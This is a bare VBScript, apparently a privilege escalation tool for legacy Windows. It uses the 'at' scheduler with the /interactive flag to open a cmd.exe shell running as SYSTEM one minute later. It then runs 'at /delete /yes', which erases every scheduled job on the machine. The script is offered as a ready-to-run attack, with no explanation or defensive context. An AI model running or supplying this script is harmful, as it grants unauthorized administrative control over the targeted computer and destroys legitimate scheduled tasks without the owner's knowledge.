set WshShell = CreateObject("WScript.Shell")
WshShell.Run ("at  " & hour(now) & ":" & minute(now)+1 & "am /interactive cmd.exe")
WshShell.Run ("at  " & hour(now) & ":" & minute(now)+1 & "pm /interactive cmd.exe")
WshShell.Run ("at  " & hour(now) & ":" & minute(now)+1 & " /interactive cmd.exe")


WScript.Sleep 65000
WshShell.Run ("at /delete /yes")